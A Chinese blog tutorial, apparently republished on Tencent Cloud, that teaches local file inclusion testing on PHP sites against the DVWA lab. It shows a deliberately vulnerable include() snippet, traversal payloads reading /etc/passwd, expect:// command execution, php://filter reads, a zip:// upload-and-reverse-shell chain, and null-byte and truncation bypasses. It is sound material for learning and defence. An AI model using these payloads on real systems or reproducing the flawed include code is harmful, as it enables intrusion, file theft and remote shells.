前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web应用渗透测试-本地文件包含

Web应用渗透测试-本地文件包含

作者头像
ChaMd5安全团队
发布2018-03-29 11:07:57
1.5K0
发布2018-03-29 11:07:57
举报
文章被收录于专栏:ChaMd5安全团队
0x01 前言

本文的目的在于帮助网络安全爱好者们去识别和测试LFI漏洞,通过研究去探究LFI渗透测试技术以及LFI漏洞通常在哪里被发现。如果你有更好的奇淫技巧,欢迎分享。

0x02 什么是本地文件包含漏洞

本地文件包含漏洞是指只能包含本机文件的文件包含漏洞,当Web应用程序未合理的包含一个文件时,存在此漏洞。攻击者可以控制输入注入路径遍历字符或服务器上其他文件进行攻击。下面就让我们详细的分析一下漏洞原理和利用技巧.

首先我们来看一段存在文件包含漏洞的PHP代码:

代码语言:javascript
复制
<?php
$file = $_GET['file'];  
if(isset($file)){
    include("pages/$file");
}
else{
    include("index.php");
}
?>

这里我们使用了include函数包含了一个用户输入的文件。

LFI漏洞很容易识别和利用,例如:

代码语言:javascript
复制
/lfi.php?file=index.html

我们可以通过操作文件位置来利用此漏洞,如:

代码语言:javascript
复制
/lfi.php?file=../../../../../../../../etc/passwd

以上是显示Linux/UNIX下的/etc/passwd文件。

以下是成功利用Web应用程序上的LFI漏洞的示例:

0x03 PHP Wrappers

PHP封装了很多协议,通常我们可以利用它来绕过各种输入过滤。

PHP Expect Wrapper

PHP expect://允许执行系统命令,不过很可惜,需要安装扩展

http://pecl.php.net/package/expect

默认情况下不启用

代码语言:javascript
复制
http://127.0.0.1/lfi.php?file=expect://ls

php://input

php://input 是个可以访问请求的原始数据的只读流。

我们可以使用这个协议来执行命令:

PHP php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。它可以打开本地文件然后以base64编码输出。有时候被过滤的时候,可以尝试使用这个方法来包含文件。

代码语言:javascript
复制
?page=php://filter/convert.base64-encode/resource=/etc/passwd

以dwva为例:

输出的字符是以base64编码输出的,所以我们需要解密:

我们也可以不使用base64编码输出:

代码语言:javascript
复制
?page=php://filter/resource=/etc/passwd

如图:

PHP ZIP Wrapper LFI

这是一个压缩流,利用这个漏洞的前提是能上传一个我们自己能控制zip压缩包,攻击流程如下:

  1. 创建一个PHP反弹shell
  2. 压缩成shell.zip
  3. 上传至目标服务器
  4. payload:?page=zip://路径/shell.zip%23shell.php
  5. 坐等shell

反弹shell下载地址:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

Payload:

代码语言:javascript
复制
127.0.0.1/dvwa/vulnerabilities/fi/?page=zip://shell.zip%23shell.php

反弹成功:

0x04 空字节技术

通过在URL编码中增加“空字节”,比如“00%”,在某些情况下能绕过WEB应用程序中的过滤。通常,增加空字符后,后端的WEB应用程序对该输入有可能会放行或不处理,从而可以绕过WEB应用黑名单过滤器。

下面是一些特殊的LFI空字节注入的实例:

代码语言:javascript
复制
?page=/etc/passwd%00
?page=/etc/passwd%2500

0x05 截断LFI绕过

截断是另一个绕过黑名单的技术,通过向有漏洞的文件包含机制中注入一个长的参数,WEB应用有可能会“砍掉它”(截断)输入的参数,从而有可能绕过输入过滤。

代码语言:javascript
复制
%00截断:
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

%00截断目录遍历:
/var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

路径长度截断:
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

LFI截断实例:

代码语言:javascript
复制
?page=/etc/passwd…………………………………………………………………………….
?page=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
?page=/etc/passwd/../../../../../../../../../../../../../../../../../..

0x06 总结

本篇文章主要针对了web应用常规漏洞的本地文件包含漏洞作了详细的介绍,希望大家能给点建议,欢迎大家关注我的新浪微博:孤独zusheng,给我留言或者评论。本技术站追求纯粹的技术分享,也欢迎大家联系我分享自己的技术。

0x07 参考资料

  • https://www.exploit-db.com/docs/40992.pdf
  • http://www.php.net/manual/zh/wrappers.php
  • https://highon.coffee/blog/lfi-cheat-sheet/
  • https://www.owasp.org/index.php/PHPFileInclusion
  • DVWA(用于LFI实例):http://www.dvwa.co.uk/
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-01-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 什么是本地文件包含漏洞
  • 0x03 PHP Wrappers
    • PHP Expect Wrapper
      • php://input
        • PHP php://filter
          • PHP ZIP Wrapper LFI
          • 0x04 空字节技术
          • 0x05 截断LFI绕过
          • 0x06 总结
          • 0x07 参考资料
          相关产品与服务
          网站渗透测试
          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档